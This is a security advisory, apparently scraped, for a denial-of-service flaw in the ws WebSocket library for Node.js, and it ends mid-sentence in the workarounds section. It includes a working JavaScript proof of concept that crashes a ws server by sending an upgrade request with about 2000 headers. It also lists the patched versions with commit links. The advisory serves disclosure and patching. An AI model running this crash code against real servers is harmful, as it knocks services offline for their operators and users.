Impact A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server. Proof of concept “`js const http = require('http'); const WebSocket = require('ws'); const wss = new WebSocket.Server({ port: 0 }, function () { const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split(''); const headers = {}; let count = 0; for (let i = 0; i < chars.length; i++) { if (count === 2000) break; for (let j = 0; j < chars.length; j++) { const key = chars[i] + chars[j]; headers[key] = 'x'; if (++count === 2000) break; } } headers.Connection = 'Upgrade'; headers.Upgrade = 'websocket'; headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ=='; headers['Sec-WebSocket-Version'] = '13'; const request = http.request({ headers: headers, host: '127.0.0.1', port: wss.address().port }); request.end(); }); “` Patches The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e) Workarounds In vulnerable versions of ws, the issue can be mitigated in the following ways: Reduce the maximum allowed length of the request headers using the…Read More